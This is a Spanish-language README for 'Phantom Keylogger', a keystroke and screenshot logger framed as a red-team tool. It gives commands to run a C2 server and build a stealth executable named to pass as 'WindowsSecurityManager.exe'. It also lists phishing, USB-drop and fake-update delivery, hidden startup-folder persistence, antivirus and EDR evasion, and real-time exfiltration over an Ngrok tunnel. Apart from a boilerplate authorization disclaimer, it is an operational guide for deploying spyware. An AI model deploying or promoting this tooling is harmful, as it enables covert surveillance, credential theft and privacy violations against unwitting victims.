Phantom Keylogger

🎯 RESUMEN DE LA MISIÓN

Phantom Keylogger es un sistema avanzado de recopilación de inteligencia de pulsaciones de teclado y visual, con capacidades de sigilo. Construido con la seguridad operativa como objetivo principal, esta herramienta proporciona capacidades de vigilancia persistente mientras mantiene una huella mínima en los sistemas objetivo durante ejercicios de red team autorizados.

⚠️ PROTOCOLOS OPERATIVOS

CASOS DE USO AUTORIZADOS:
- Pruebas de penetración autorizadas
- Ejercicios de red team con Reglas de Compromiso por escrito
- Investigación de seguridad en entornos controlados
- Validación de controles de seguridad defensiva

OPERACIONES PROHIBIDAS:
- Actividades de vigilancia no autorizadas
- Intrusión ilegal o exfiltración de datos
- Violación de la privacidad personal
- Cualquier operación ofensiva no autorizada

LOS OPERADORES ASUMEN TODA LA RESPONSABILIDAD LEGAL POR EL DESPLIEGUE ADECUADO

🛡️ CAPACIDADES OPERATIVAS

Módulos de Recopilación de Inteligencia

• Intercepción de Pulsaciones: Captura avanzada de teclado con traducción de teclas especiales
• Vigilancia Visual: Captura automática de pantalla a intervalos configurables
• Reconocimiento del Sistema: Recopilación de datos de hostname, nombre de usuario y entorno
• Implante Persistente: Monitoreo continuo con mecanismos automáticos de recuperación

Funciones de Seguridad Operativa

• Cero Huella en la Interfaz de Usuario: Completamente invisible para los usuarios finales
• Mecanismos de Persistencia: Instalación automática al inicio
• Antiforense: Protección de instancia única basada en mutex
• Ofuscación del Sistema de Archivos: Atributos de archivo ocultos y nombres legítimos

🚀 DESPLIEGUE OPERATIVO

Fase 1: Infraestructura de Comando y Control

# 1. Clone operational repository
git clone https://github.com/MattiaAlessi/phantom-keylogger
cd phantom-keylogger

# 2. Install operational dependencies
pip install -r requirements.txt

# 3. Deploy C2 server
python server.py

Fase 2: Generación de Payload

# Generate stealth executable
python build.py

Salida: dist/WindowsSecurityManager.exe

Fase 3: Despliegue en el Objetivo

Métodos de Entrega:

• Campañas de Phishing: Macros de documentos o instaladores falsos
• Acceso Físico: Ataques de USB drop
• Movimiento Lateral: Recursos compartidos internos comprometidos
• Ingeniería Social: Actualizaciones de software falsas

Fase 4: Herramienta visual

# Start the GUI interface 
python manager.py

🔧 ESPECIFICACIONES TÉCNICAS

Visión General de la Arquitectura

┌─────────────────┐    ┌──────────────────┐    ┌─────────────────┐
│   TARGET        │    │   C2 TUNNEL      │    │   OPERATOR      │
│                 │    │                  │    │                 │
│  ┌─────────────┐│    │  ┌─────────────┐ │    │  ┌─────────────┐│
│  │ Stealth     ││    │  │ Ngrok       │ │    │  │ Management  ││
│  │ Keylogger   ├───────►│ Tunnel      ├───────►│ Console      ││
│  │             ││    │  │             │ │    │  │             ││
│  └─────────────┘│    │  └─────────────┘ │    │  └─────────────┘│
└─────────────────┘    └──────────────────┘    └─────────────────┘

Mecanismos de Persistencia

Carpeta de Inicio: %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\
Fácilmente accesible escribiendo shell:startup en el cuadro de diálogo (WIN+r) Nombre de Archivo: WindowsSecurityManager.exe
Atributos: Archivo oculto del sistema

🛡️ TÉCNICAS DE EVASIÓN DE DEFENSAS

Métodos de Bypass de AV/EDR

• Nombres Legítimos: Usa nombres relacionados con la seguridad de Windows
• Ofuscación de Comportamiento: Patrones normales de procesos del sistema
• Mimetización de Red: Tráfico HTTPS hacia dominios de apariencia legítima
• Operaciones en Memoria: Sin llamadas API sospechosas ni inyección

Medidas de Seguridad Operativa

• Sin Artefactos Locales: Todos los datos se transmiten de forma remota mediante canales cifrados
• Herramientas Estándar: Utiliza únicamente bibliotecas de Python comunes y en lista blanca
• Procedimientos de Salida Limpia: Sin volcados de memoria ni artefactos forenses residuales

📊 MÉTRICAS OPERATIVAS

• Evasión de Detección: Probado con éxito contra múltiples soluciones de seguridad con varios antivirus instalados
• Exfiltración de Datos: Transmisión cifrada en tiempo real al C2
• Tiempo de Actividad Operativo: Monitoreo continuo con auto-recuperación